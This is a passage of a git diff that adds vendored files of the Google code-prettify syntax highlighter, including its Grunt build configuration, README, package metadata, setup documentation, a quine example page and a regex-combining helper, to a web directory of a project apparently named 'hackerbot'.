+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/Gruntfile.js
@@ -0,0 +1,253 @@
+/**
+ * google-code-prettify
+ * https://github.com/google/code-prettify
+ *
+ * Copyright (C) 2017 Google Inc.
+ * Licensed under Apache 2.0 license.
+ */
+
+module.exports = function (grunt) {
+  'use strict';
+
+  // project configuration
+  grunt.initConfig({
+    // metadata
+    pkg: grunt.file.readJSON('package.json'),
+
+    // grunt-preprocess
+    preprocess: {
+      // https://github.com/jsoverson/preprocess#optionstype
+      options: {
+        // renders @include directives (similar to SSI server-side includes)
+        // where JS files are resolved relative to this directory
+        srcDir: 'js-modules',
+        type: 'js'
+      },
+      prettify: {
+        src: 'js-modules/prettify.js',
+        dest: 'src/prettify.js'
+      },
+      runprettify: {
+        options: {
+          context: {
+            // to control where defs.js is included (top level)
+            RUN_PRETTIFY: true
+          }
+        },
+        src: 'js-modules/run_prettify.js',
+        dest: 'src/run_prettify.js'
+      }
+    },
+
+    // grunt-contrib-copy
+    copy: {
+      prettify: {
+        options: {
+          process: function (content) {
+            // trim trailing whitespaces in blank lines added by preprocess
+            return content.replace(/[ \f\t\v]+$/gm, '');
+          }
+        },
+        files: [
+          {src: 'src/prettify.js', dest: 'src/prettify.js'},
+          {src: 'src/run_prettify.js', dest: 'src/run_prettify.js'}
+        ]
+      },
+      langs: {
+        options: {
+          process: function (content) {
+            // replace PR.PR_* token names with inlined strings
+            return content
+              .replace(/\bPR\.PR_ATTRIB_NAME\b/g,  '"atn"')
+              .replace(/\bPR\.PR_ATTRIB_VALUE\b/g, '"atv"')
+              .replace(/\bPR\.PR_COMMENT\b/g,      '"com"')
+              .replace(/\bPR\.PR_DECLARATION\b/g,  '"dec"')
+              .replace(/\bPR\.PR_KEYWORD\b/g,      '"kwd"')
+              .replace(/\bPR\.PR_LITERAL\b/g,      '"lit"')
+              .replace(/\bPR\.PR_NOCODE\b/g,       '"nocode"')
+              .replace(/\bPR\.PR_PLAIN\b/g,        '"pln"')
+              .replace(/\bPR\.PR_PUNCTUATION\b/g,  '"pun"')
+              .replace(/\bPR\.PR_SOURCE\b/g,       '"src"')
+              .replace(/\bPR\.PR_STRING\b/g,       '"str"')
+              .replace(/\bPR\.PR_TAG\b/g,          '"tag"')
+              .replace(/\bPR\.PR_TYPE\b/g,         '"typ"');
+          }
+        },
+        files: [{
+          expand: true,
+          cwd: 'loader/',
+          src: ['lang-*.js'],
+          dest: 'loader/'
+        }]
+      }
+    },
+
+    // ./tasks/aliases.js
+    aliases: {
+      langs: {
+        src: 'loader/lang-*.js',
+        filter: function (src) {
+          // skip files that are themselves aliases created in previous runs
+          return grunt.file.exists(src.replace(/^loader/, 'src'));
+        }
+      }
+    },
+
+    // grunt-contrib-uglify
+    uglify: {
+      // https://github.com/mishoo/UglifyJS2#usage
+      options: {
+        report: 'gzip',
+        ASCIIOnly: true,
+        maxLineLen: 500,
+        screwIE8: false
+      },
+      prettify: {
+        options: {
+          compress: {
+            global_defs: {'IN_GLOBAL_SCOPE': true}
+          },
+          wrap: true
+        },
+        src: 'src/prettify.js',
+        dest: 'loader/prettify.js'
+      },
+      runprettify: {
+        options: {
+          compress: {
+            global_defs: {'IN_GLOBAL_SCOPE': false}
+          },
+          wrap: true
+        },
+        src: 'src/run_prettify.js',
+        dest: 'loader/run_prettify.js'
+      },
+      langs: {
+        files: [{
+          expand: true,
+          cwd: 'src/',
+          src: ['lang-*.js'],
+          dest: 'loader/',
+          ext: '.js'
+        }]
+      }
+    },
+
+    // google-closure-compiler
+    'closure-compiler': {
+      // https://github.com/google/closure-compiler/wiki
+      options: {
+        // Don't specify --charset=UTF-8.  If we do, then non-ascii
+        // codepoints that do not correspond to line terminators are
+        // converted to UTF-8 sequences instead of being emitted as
+        // ASCII. This makes the resulting JavaScript less portable.
+        warning_level: 'VERBOSE',
+        language_in: 'ECMASCRIPT5',
+        compilation_level: 'ADVANCED',
+        charset: 'US-ASCII',
+      },
+      prettify: {
+        options: {
+          externs: 'tools/closure-compiler/amd-externs.js',
+          define: 'IN_GLOBAL_SCOPE=true',
+          output_wrapper: '!function(){%output%}()'
+        },
+        src: '<%= uglify.prettify.src %>',
+        dest: '<%= uglify.prettify.dest %>'
+      },
+      runprettify: {
+        options: {
+          externs: 'tools/closure-compiler/amd-externs.js',
+          define: 'IN_GLOBAL_SCOPE=false',
+          output_wrapper: '!function(){%output%}()'
+        },
+        src: '<%= uglify.runprettify.src %>',
+        dest: '<%= uglify.runprettify.dest %>'
+      },
+      langs: {
+        options: {
+          externs: 'js-modules/externs.js'
+        },
+        files: '<%= uglify.langs.files %>'
+      }
+    },
+
+    // ./tasks/gcc.js
+    gcc: {
+      // same as 'closure-compiler:langs'
+      langs: {
+        options: {
+          externs: 'js-modules/externs.js'
+        },
+        files: '<%= uglify.langs.files %>'
+      }
+    },
+
+    // grunt-contrib-cssmin
+    cssmin: {
+      // https://github.com/jakubpawlowicz/clean-css#how-to-use-clean-css-api
+      options: {
+        report: 'gzip'
+      },
+      prettify: {
+        src: 'src/prettify.css',
+        dest: 'loader/prettify.css'
+      },
+      skins: {
+        files: [{
+          expand: true,
+          cwd: 'styles/',
+          src: ['*.css'],
+          dest: 'loader/skins/',
+          ext: '.css'
+        }]
+      }
+    },
+
+    // grunt-contrib-compress
+    compress: {
+      zip: {
+        options: {
+          archive: 'distrib/prettify-small.zip',
+          mode: 'zip',
+          level: 9
+        },
+        files: [{
+          expand: true,
+          cwd: 'loader/',
+          src: ['*.js', '*.css', 'skins/*.css'],
+          dest: 'google-code-prettify/'
+        }]
+      }
+    },
+
+    // grunt-contrib-clean
+    clean: {
+      js: ['src/prettify.js', 'src/run_prettify.js', 'loader/*.js'],
+      css: ['loader/*.css', 'loader/skins/*.css'],
+      zip: ['distrib/*.zip']
+    }
+  });
+
+  // load plugins that provide tasks
+  require('google-closure-compiler').grunt(grunt);
+  grunt.loadTasks('./tasks');
+  grunt.loadNpmTasks('grunt-preprocess');
+  grunt.loadNpmTasks('grunt-contrib-copy');
+  grunt.loadNpmTasks('grunt-contrib-uglify');
+  grunt.loadNpmTasks('grunt-contrib-cssmin');
+  grunt.loadNpmTasks('grunt-contrib-compress');
+  grunt.loadNpmTasks('grunt-contrib-clean');
+
+  // register task aliases
+  grunt.registerTask('default', [
+    //'clean',
+    'preprocess',
+    'copy:prettify',
+    'gcc',
+    'copy:langs',
+    'aliases',
+    'cssmin',
+    'compress'
+  ]);
+};
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md
new file mode 100644
index 000000000..774adaab0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/README.md
@@ -0,0 +1,238 @@
+# JavaScript code prettifier
+
+An embeddable script that makes source-code snippets in HTML prettier.
+
+* Works on HTML pages.
+* Works even if code contains embedded links, line numbers, etc.
+* Simple API: include some JS & CSS and add an onload handler.
+* Lightweights: small download and does not block page from loading while
+  running.
+* Customizable styles via CSS. See the [themes gallery][1].
+* Supports all C-like, Bash-like, and XML-like languages. No need to specify
+  the language.
+* Extensible language handlers for other languages. You can specify the
+  language.
+* Widely used with good cross-browser support. Powers https://code.google.com/
+  and http://stackoverflow.com/
+
+[See an example][2].
+
+## Setup
+
+ * Include the script tag below in your document:
+```HTML
+
+```
+ * See [Getting Started](docs/getting_started.md) to configure that URL with
+   options you need.
+ * Look at the [skin gallery][1] and pick styles that suit you.
+
+## Usage
+
+Put code snippets in `
...
` or +`...` and it will automatically be +pretty-printed. + +```HTML +
class Voila {
+public:
+  // Voila
+  static const string VOILA = "Voila";
+
+  // will not interfere with embedded tags.
+}
+``` + +## FAQ + +### For which languages does it work? + +The comments in `prettify.js` are authoritative but the lexer should work on a +number of languages including C and friends, Java, Python, Bash, SQL, HTML, +XML, CSS, JavaScript, Makefile, and Rust. + +It works passably on Ruby, PHP, VB, and Awk and a decent subset of Perl and +Ruby, but because of commenting conventions, doesn't work on Smalltalk, OCaml, +etc. without a language extension. + +Other languages are supported via extensions: + +[Apollo](src/lang-apollo.js); +[Basic](src/lang-basic.js); +[Clojure](src/lang-clj.js); +[CSS](src/lang-css.js); +[Dart](src/lang-dart.js); +[Erlang](src/lang-erlang.js); +[Go](src/lang-go.js); +[Haskell](src/lang-hs.js); +[Lasso](src/lang-lasso.js); +[Lisp, Scheme](src/lang-lisp.js); +[LLVM](src/lang-llvm.js); +[Logtalk](src/lang-logtalk.js); +[Lua](src/lang-lua.js); +[MATLAB](src/lang-matlab.js); +[MLs: F#, Ocaml,SML](src/lang-ml.js); +[Mumps](src/lang-mumps.js); +[Nemerle](src/lang-n.js); +[Pascal](src/lang-pascal.js); +[Protocol buffers](src/lang-proto.js); +[R, S](src/lang-r.js); +[RD](src/lang-rd.js); +[Rust](src/lang-rust.js); +[Scala](src/lang-scala.js); +[SQL](src/lang-sql.js); +[Swift](src/lang-swift.js); +[TCL](src/lang-tcl.js); +[LaTeX](src/lang-tex.js); +[Visual Basic](src/lang-vb.js); +[VHDL](src/lang-vhdl.js); +[Wiki](src/lang-wiki.js); +[XQ](src/lang-xq.js); +[YAML](src/lang-yaml.js) + +If you'd like to add an extension for your favorite language, please look at +`src/lang-lisp.js` and submit a pull request. + +### How do I specify the language of my code? + +You don't need to specify the language since `PR.prettyPrint()` will guess. +You can specify a language by specifying the language extension along with the +`prettyprint` class: + +```HTML +
+  The lang-* class specifies the language file extensions.
+  File extensions supported by default include:
+    "bsh", "c", "cc", "cpp", "cs", "csh", "cyc", "cv", "htm", "html", "java",
+    "js", "m", "mxml", "perl", "pl", "pm", "py", "rb", "sh", "xhtml", "xml",
+    "xsl".
+
+``` + +You may also use the [HTML 5][3] convention of embedding a `` element +inside the `
` and using `language-java` style classes:
+
+```HTML
+
...
+``` + +### It doesn't work on "obfuscated code sample"? + +Yes. Prettifying obfuscated code is like putting lipstick on a pig — +i.e. outside the scope of this tool. + +### Which browsers does it work with? + +It's been tested with IE 6, Firefox 1.5 & 2, and Safari 2.0.4. Look at +[the tests][4] to see if it works in your browser. + +### What's changed? + +See the [changelog](CHANGES.md). + +### Why doesn't Prettyprinting of strings work on WordPress? + +Apparently wordpress does "smart quoting" which changes close quotes. This +causes end quotes to not match up with open quotes. + +This breaks prettifying as well as copying and pasting of code samples. See +[WordPress's help center][5] for info on how to stop smart quoting of code +snippets. + +### How do I put line numbers in my code? + +You can use the `linenums` class to turn on line numbering. If your code +doesn't start at line number `1`, you can add a colon and a line number to the +end of that class as in `linenums:52`. For example: + +```HTML +
// This is line 4.
+foo();
+bar();
+baz();
+boo();
+far();
+faz();
+
+``` + +### How do I prevent a portion of markup from being marked as code? + +You can use the `nocode` class to identify a span of markup that is not code: + +```HTML +
+int x = foo();  /* This is a comment  This is not code
+  Continuation of comment */
+int y = bar();
+
+``` + +For a more complete example see the [issue #22 testcase][6]. + +### I get an error message "a is not a function" or "opt_whenDone is not a function" + +If you are calling `prettyPrint` via an event handler, wrap it in a function. +Instead of doing: + +```JavaScript +addEventListener('load', PR.prettyPrint, false); +``` + +wrap it in a closure like: + +```JavaScript +addEventListener('load', function(event) { PR.prettyPrint(); }, false); +``` + +so that the browser does not pass an event object to `PR.prettyPrint` +which will confuse it. + +### How can I customize the colors and styles of my code? + +Prettify adds `` with `class`es describing the kind of code. You can +create CSS styles to matches these classes. + +See the [theme gallery][1] for examples. + +### I can't add classes to my code (because it comes from Markdown, etc.) + +Instead of `
` you can use a comment or processing
+instructions that survives processing instructions: `` works
+as explained in [Getting Started](docs/getting_started.md).
+
+### How can I put line numbers on every line instead of just every fifth line?
+
+Prettify puts lines into an HTML list element so that line numbers aren't
+caught by copy/paste, and the line numbering is controlled by CSS in the
+default stylesheet, `prettify.css`.
+
+The following should turn line numbering back on for the other lines:
+
+```HTML
+
+```
+
+## Discussion
+
+Please use the official [support group][7] for discussions, suggestions, and
+general feedback.
+
+## License
+
+[Apache License 2.0](COPYING)
+
+
+[1]: https://rawgit.com/google/code-prettify/master/styles/index.html
+[2]: https://rawgit.com/google/code-prettify/master/examples/quine.html
+[3]: http://dev.w3.org/html5/spec-author-view/the-code-element.html#the-code-element
+[4]: https://rawgit.com/google/code-prettify/master/tests/prettify_test.html
+[5]: http://wordpress.org/support/topic/125038
+[6]: https://rawgit.com/google/code-prettify/master/tests/prettify_test.html#issue22
+[7]: http://groups.google.com/group/js-code-prettifier
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json
new file mode 100644
index 000000000..27b138175
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/bower.json
@@ -0,0 +1,40 @@
+{
+  "name": "code-prettify",
+  "description": "Google Code Prettify",
+  "authors": [
+    "Google"
+  ],
+  "license": "Apache-2.0",
+  "homepage": "https://github.com/google/code-prettify",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/google/code-prettify.git"
+  },
+  "keywords": [
+    "syntax",
+    "highlight",
+    "highlighting",
+    "source",
+    "code",
+    "prettify",
+    "google"
+  ],
+  "main": [
+    "src/prettify.js",
+    "src/prettify.css"
+  ],
+  "moduleType": [
+    "globals",
+    "amd"
+  ],
+  "ignore": [
+    "**/.*",
+    "node_modules",
+    "bower_components",
+    "distrib",
+    "js-modules",
+    "tasks",
+    "tests",
+    "tools"
+  ]
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip
new file mode 100644
index 000000000..20c09a99b
Binary files /dev/null and b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/distrib/prettify-small.zip differ
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md
new file mode 100644
index 000000000..fa1dd3b4f
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/docs/getting_started.md
@@ -0,0 +1,138 @@
+# Getting Started
+
+You can load the Prettify script to highlight code in your web pages.
+
+It adds styles to code snippets so that token boundaries stand out and your
+readers can get the gist of your code without having to mentally perform a
+left-to-right parse.
+
+## Marking code sections
+
+The prettyprinter looks for `
`, ``, or `` elements with the
+*prettyprint* class, and adds `<span>`s to colorize keywords, strings,
+comments, and other token types.
+
+```HTML
+<pre class="prettyprint">
+source code here
+</pre>
+```
+
+If you're using Markdown or some other HTML generator that does not add
+classes, you can alternatively ask the prettifier to target your code by
+preceding it with a processing instruction thus:
+
+```HTML
+<?prettify?>
+<pre class="prettyprint">
+code here
+</pre>
+```
+
+[Larger example](https://rawgit.com/google/code-prettify/master/examples/quine.html)
+
+## Auto-Loader
+
+You can load the JavaScript and CSS for prettify via one URL:
+
+```HTML
+<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js"></script>
+```
+
+This will load the entire system and schedule the prettifier to run on page
+load.  There are a variety of additional options you can specify (as CGI
+arguments) to configure the runner.
+
+| CGI parameter         | default | meaning                        |
+| --------------------- | ------- | ------------------------------ |
+| autorun=(true, false) | true    | run automatically on page load |
+| lang=...              | none    | Loads the language handler for the given language which is usually the file extension for source files for that language.  See the [index of language handlers](../src).  If specified multiple times (`?lang=css&lang=ml`) then all are loaded. |
+| skin=...              | none    | See the [skin gallery](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html).  If specified multiple times, the first one to successfully load is used. |
+| callback=js_ident     |         | `window.exports["js_ident"]` will be called when prettyprinting finishes.  If specified multiple times, all are called. |
+
+For example:
+
+```HTML
+<script src="https://cdn.rawgit.com/google/code-prettify/master/loader/run_prettify.js?lang=css&amp;skin=sunburst"></script>
+```
+
+The above specifies the `lang` parameter to also load the CSS language
+extension and the `skin` parameter to load the
+[*sunburst*](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html#sunburst)
+skin.
+
+## Serving your own JS & CSS
+
+You can
+[download](https://raw.githubusercontent.com/google/code-prettify/master/distrib/prettify-small.tgz)
+the scripts and styles and serve them yourself.  Make sure to include both the
+script and a stylesheet:
+
+```HTML
+<link rel="stylesheet" type="text/css" href="prettify.css">
+<script type="text/javascript" src="prettify.js"></script>
+```
+
+Then run the `PR.prettyPrint()` function once your page has finished loading.
+One way to do this is via the `onload` handler thus:
+
+```HTML
+<body onload="PR.prettyPrint()">
+```
+
+## Styling
+
+The prettifier only adds `class`es; it does not specify exact colors or fonts,
+so you can swap in a different stylesheet to change the way code is
+prettified.
+
+The easiest way to create your own stylesheet is by starting with one from the
+[style gallery](https://cdn.rawgit.com/google/code-prettify/master/styles/index.html)
+and tweaking it.
+
+You can use CSS `@media` rules to specify styles that work well with printers
+(for example, dark text on a white background) when someone tries to print it.
+
+## Language Hints
+
+Prettify makes a best effort to guess the language but works best with C-like
+and HTML-like languages.  For others, there are special language handlers that
+are chosen based on language hints.
+
+For example, set the `lang-scm` hint to specify that the code is Scheme code:
+
+```HTML
+<pre class="prettyprint lang-scm">(friends 'of '(parentheses))</pre>
+```
+
+It can also be specified as:
+
+```HTML
+<?prettify lang=scm?>
+<pre>(friends 'of '(parentheses))</pre>
+```
+
+## Line Numbering
+
+```HTML
+<pre class="prettyprint linenums">
+Many
+lines
+of
+code
+</pre>
+```
+
+The `linenums` class in the above code tells the prettyprinter to insert an
+`<ol>` element and `<li>` elements around each line so that you get line
+numbers.
+
+Most stylesheets then hide the line numbers except for every fifth line.
+
+The class `linenums:40` makes line numbering start at line 40 if you're
+excerpting a larger chunk of code.  The following also works:
+
+```HTML
+<?prettify linenums=40?>
+<pre>lots of code</pre>
+```
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/examples/quine.html b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/examples/quine.html
new file mode 100644
index 000000000..158753b2e
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/examples/quine.html
@@ -0,0 +1,65 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta charset="utf-8" />
+<title>Making Quines Prettier</title>
+<!-- The defer attribute is not necessary for autoloading, but is necessary
+     for the script at the bottom to work as a Quine. -->
+<script src="https://rawgit.com/google/code-prettify/master/loader/run_prettify.js?autoload=true&amp;skin=sunburst&amp;lang=css" defer></script>
+<style type="text/css">
+.operative { font-weight: bold; border: 1px solid yellow; }
+#quine { border: 4px solid #88c; }
+</style>
+</head>
+
+<body>
+<h1>Making Quines Prettier</h1>
+
+<p>
+Below is the content of this page prettified.  The <code>&lt;pre&gt;</code>
+element is prettified because it has <code>class="prettyprint"</code> and
+because the sourced script loads a JavaScript library that styles source
+code.
+</p>
+
+<p>
+The line numbers to the left appear because the preceding comment
+<code>&lt;?prettify lang=html linenums=true?&gt;</code> turns on
+line-numbering and the
+<a href="https://rawgit.com/google/code-prettify/master/styles/index.html">stylesheet</a>
+(see <code>skin=sunburst</code> in the <code>&lt;script src&gt;</code>)
+specifies that every fifth line should be numbered.
+</p>
+
+<!-- Language hints can be put in XML application directive style comments. -->
+<?prettify lang=html linenums=true?>
+<pre class="prettyprint" id="quine"></pre>
+
+<script type="text/javascript">//<![CDATA[
+(function () {
+  function htmlEscape(s) {
+    return s
+      .replace(/&/g, '&amp;')
+      .replace(/</g, '&lt;')
+      .replace(/>/g, '&gt;');
+  }
+
+  // this page's own source code
+  var quineHtml = htmlEscape(
+    '<!DOCTYPE html>\n<html>\n' +
+    document.documentElement.innerHTML +
+    '\n<\/html>\n');
+
+  // Highlight the operative parts:
+  quineHtml = quineHtml.replace(
+    /&lt;script src[\s\S]*?&gt;&lt;\/script&gt;|&lt;!--\?[\s\S]*?--&gt;|&lt;pre\b[\s\S]*?&lt;\/pre&gt;/g,
+    '<span class="operative">$&<\/span>');
+
+  // insert into PRE
+  document.getElementById("quine").innerHTML = quineHtml;
+})();
+//]]>
+</script>
+
+</body>
+</html>
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js
new file mode 100644
index 000000000..d7b87b6fe
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/combinePrefixPatterns.js
@@ -0,0 +1,240 @@
+/**
+ * Given a group of {@link RegExp}s, returns a {@code RegExp} that globally
+ * matches the union of the sets of strings matched by the input RegExp.
+ * Since it matches globally, if the input strings have a start-of-input
+ * anchor (/^.../), it is ignored for the purposes of unioning.
+ * @param {Array.<RegExp>} regexs non multiline, non-global regexs.
+ * @return {RegExp} a global regex.
+ */
+function combinePrefixPatterns(regexs) {
+  var capturedGroupIndex = 0;
+
+  var needToFoldCase = false;
+  var ignoreCase = false;
+  for (var i = 0, n = regexs.length; i < n; ++i) {
+    var regex = regexs[i];
+    if (regex.ignoreCase) {
+      ignoreCase = true;
+    } else if (/[a-z]/i.test(regex.source.replace(
+                   /\\u[0-9a-f]{4}|\\x[0-9a-f]{2}|\\[^ux]/gi, ''))) {
+      needToFoldCase = true;
+      ignoreCase = false;
+      break;
+    }
+  }
+
+  var escapeCharToCodeUnit = {
+    'b': 8,
+    't': 9,
+    'n': 0xa,
+    'v': 0xb,
+    'f': 0xc,
+    'r': 0xd
+  };
+
+  function decodeEscape(charsetPart) {
+    var cc0 = charsetPart.charCodeAt(0);
+    if (cc0 !== 92 /* \\ */) {
+      return cc0;
+    }
+    var c1 = charsetPart.charAt(1);
+    cc0 = escapeCharToCodeUnit[c1];
+    if (cc0) {
+      return cc0;
+    } else if ('0' <= c1 && c1 <= '7') {
+      return parseInt(charsetPart.substring(1), 8);
+    } else if (c1 === 'u' || c1 === 'x') {
+      return parseInt(charsetPart.substring(2), 16);
+    } else {
+      return charsetPart.charCodeAt(1);
+    }
+  }
+
+  function encodeEscape(charCode) {
+    if (charCode < 0x20) {
+      return (charCode < 0x10 ? '\\x0' : '\\x') + charCode.toString(16);
+    }
+    var ch = String.fromCharCode(charCode);
+    return (ch === '\\' || ch === '-' || ch === ']' || ch === '^')
+        ? "\\" + ch : ch;
+  }
+
+  function caseFoldCharset(charSet) {
+    var charsetParts = charSet.substring(1, charSet.length - 1).match(
+        new RegExp(
+            '\\\\u[0-9A-Fa-f]{4}'
+            + '|\\\\x[0-9A-Fa-f]{2}'
+            + '|\\\\[0-3][0-7]{0,2}'
+            + '|\\\\[0-7]{1,2}'
+            + '|\\\\[\\s\\S]'
+            + '|-'
+            + '|[^-\\\\]',
+            'g'));
+    var ranges = [];
+    var inverse = charsetParts[0] === '^';
+
+    var out = ['['];
+    if (inverse) { out.push('^'); }
+
+    for (var i = inverse ? 1 : 0, n = charsetParts.length; i < n; ++i) {
+      var p = charsetParts[i];
+      if (/\\[bdsw]/i.test(p)) {  // Don't muck with named groups.
+        out.push(p);
+      } else {
+        var start = decodeEscape(p);
+        var end;
+        if (i + 2 < n && '-' === charsetParts[i + 1]) {
+          end = decodeEscape(charsetParts[i + 2]);
+          i += 2;
+        } else {
+          end = start;
+        }
+        ranges.push([start, end]);
+        // If the range might intersect letters, then expand it.
+        // This case handling is too simplistic.
+        // It does not deal with non-latin case folding.
+        // It works for latin source code identifiers though.
+        if (!(end < 65 || start > 122)) {
+          if (!(end < 65 || start > 90)) {
+            ranges.push([Math.max(65, start) | 32, Math.min(end, 90) | 32]);
+          }
+          if (!(end < 97 || start > 122)) {
+            ranges.push([Math.max(97, start) & ~32, Math.min(end, 122) & ~32]);
+          }
+        }
+      }
+    }
+
+    // [[1, 10], [3, 4], [8, 12], [14, 14], [16, 16], [17, 17]]
+    // -> [[1, 12], [14, 14], [16, 17]]
+    ranges.sort(function (a, b) { return (a[0] - b[0]) || (b[1]  - a[1]); });
+    var consolidatedRanges = [];
+    var lastRange = [];
+    for (var i = 0; i < ranges.length; ++i) {
+      var range = ranges[i];
+      if (range[0] <= lastRange[1] + 1) {
+        lastRange[1] = Math.max(lastRange[1], range[1]);
+      } else {
+        consolidatedRanges.push(lastRange = range);
+      }
+    }
+
+    for (var i = 0; i < consolidatedRanges.length; ++i) {
+      var range = consolidatedRanges[i];
+      out.push(encodeEscape(range[0]));
+      if (range[1] > range[0]) {
+        if (range[1] + 1 > range[0]) { out.push('-'); }
+        out.push(encodeEscape(range[1]));
+      }
+    }
+    out.push(']');
+    return out.join('');
+  }
+
+  function allowAnywhereFoldCaseAndRenumberGroups(regex) {
+    // Split into character sets, escape sequences, punctuation strings
+    // like ('(', '(?:', ')', '^'), and runs of characters that do not
+    // include any of the above.
+    var parts = regex.source.match(
+        new RegExp(
+            '(?:'
+            + '\\[(?:[^\\x5C\\x5D]|\\\\[\\s\\S])*\\]'  // a character set
+            + '|\\\\u[A-Fa-f0-9]{4}'  // a unicode escape
+            + '|\\\\x[A-Fa-f0-9]{2}'  // a hex escape
+            + '|\\\\[0-9]+'  // a back-reference or octal escape
+            + '|\\\\[^ux0-9]'  // other escape sequence
+            + '|\\(\\?[:!=]'  // start of a non-capturing group
+            + '|[\\(\\)\\^]'  // start/end of a group, or line start
+            + '|[^\\x5B\\x5C\\(\\)\\^]+'  // run of other characters
+            + ')',
+            'g'));
+    var n = parts.length;
+
+    // Maps captured group numbers to the number they will occupy in
+    // the output or to -1 if that has not been determined, or to
+    // undefined if they need not be capturing in the output.
+    var capturedGroups = [];
+
+    // Walk over and identify back references to build the capturedGroups
+    // mapping.
+    for (var i = 0, groupIndex = 0; i < n; ++i) {
+      var p = parts[i];
+      if (p === '(') {
+        // groups are 1-indexed, so max group index is count of '('
+        ++groupIndex;
+      } else if ('\\' === p.charAt(0)) {
+        var decimalValue = +p.substring(1);
+        if (decimalValue) {
+          if (decimalValue <= groupIndex) {
+            capturedGroups[decimalValue] = -1;
+          } else {
+            // Replace with an unambiguous escape sequence so that
+            // an octal escape sequence does not turn into a backreference
+            // to a capturing group from an earlier regex.
+            parts[i] = encodeEscape(decimalValue);
+          }
+        }
+      }
+    }
+
+    // Renumber groups and reduce capturing groups to non-capturing groups
+    // where possible.
+    for (var i = 1; i < capturedGroups.length; ++i) {
+      if (-1 === capturedGroups[i]) {
+        capturedGroups[i] = ++capturedGroupIndex;
+      }
+    }
+    for (var i = 0, groupIndex = 0; i < n; ++i) {
+      var p = parts[i];
+      if (p === '(') {
+        ++groupIndex;
+        if (!capturedGroups[groupIndex]) {
+          parts[i] = '(?:';
+        }
+      } else if ('\\' === p.charAt(0)) {
+        var decimalValue = +p.substring(1);
+        if (decimalValue && decimalValue <= groupIndex) {
+          parts[i] = '\\' + capturedGroups[decimalValue];
+        }
+      }
+    }
+
+    // Remove any prefix anchors so that the output will match anywhere.
+    // ^^ really does mean an anchored match though.
+    for (var i = 0; i < n; ++i) {
+      if ('^' === parts[i] && '^' !== parts[i + 1]) { parts[i] = ''; }
+    }
+
+    // Expand letters to groups to handle mixing of case-sensitive and
+    // case-insensitive patterns if necessary.
+    if (regex.ignoreCase && needToFoldCase) {
+      for (var i = 0; i < n; ++i) {
+        var p = parts[i];
+        var ch0 = p.charAt(0);
+        if (p.length >= 2 && ch0 === '[') {
+          parts[i] = caseFoldCharset(p);
+        } else if (ch0 !== '\\') {
+          // TODO: handle letters in numeric escapes.
+          parts[i] = p.replace(
+              /[a-zA-Z]/g,
+              function (ch) {
+                var cc = ch.charCodeAt(0);
+                return '[' + String.fromCharCode(cc & ~32, cc | 32) + ']';
+              });
+        }
+      }
+    }
+
+    return parts.join('');
+  }
+
+  var rewritten = [];
+  for (var i = 0, n = regexs.length; i < n; ++i) {
+    var regex = regexs[i];
+    if (regex.global || regex.multiline) { throw new Error('' + regex); }
+    rewritten.push(
+        '(?:' + allowAnywhereFoldCaseAndRenumberGroups(regex) + ')');
+  }
+
+  return new RegExp(rewritten.join('|'), ignoreCase ? 'gi' : 'g');
+}
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js
new file mode 100644
index 000000000..18f3e4aab
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/js-modules/defs.js
@@ -0,0 +1,55 @@
+/**
+ * @typedef {!Array.<number|string>}
+ * Alternating indices and the decorations that should be inserted there.
+ * The indices are monotonically increasing.
+ */
+var DecorationsT;
+
+/**
+ * @typedef {!{
+ *   sourceNode: !Element,
+ *   pre: !(number|boolean),
+ *   langExtension: ?string,
+ *   numberLines: ?(number|boolean),
+ *   sourceCode: ?string,
+ *   spans: ?(Array.<number|Node>),
+ *   basePos: ?number,
+ *   decorations: ?DecorationsT
+ * }}
+ * <dl>
+ *  <dt>sourceNode<dd>the element containing the source
+ *  <dt>sourceCode<dd>source as plain text
+ *  <dt>pre<dd>truthy if white-space in text nodes
+ *     should be considered significant.
+ *  <dt>spans<dd> alternating span start indices into source
+ *     and the text node or element (e.g. {@code <BR>}) corresponding to that
+ *     span.
+ *  <dt>decorations<dd>an array of style classes preceded
+ *     by the position at which they start in job.sourceCode in order
+ *  <dt>basePos<dd>integer position of this.sourceCode in the larger chunk of
+ *     source.
+ * </dl>
+ */
+var JobT;
+
+/**
+ * @typedef {!{
+ *   sourceCode: string,
+ *   spans: !(Array.<number|Node>)
+ * }}
+ * <dl>
+ *  <dt>sourceCode<dd>source as plain text
+ *  <dt>spans<dd> alternating span start indices into source
+ *     and the text node or element (e.g. {@code <BR>}) corresponding to that
+ *     span.
+ * </dl>
+ */
+var SourceSpansT;
+
+/** @define {boolean} */
+/* @ifndef RUN_PRETTIFY */
+var IN_GLOBAL_SCOPE = true;
+/* @endif */
+/* @ifdef RUN_PRETTIFY */
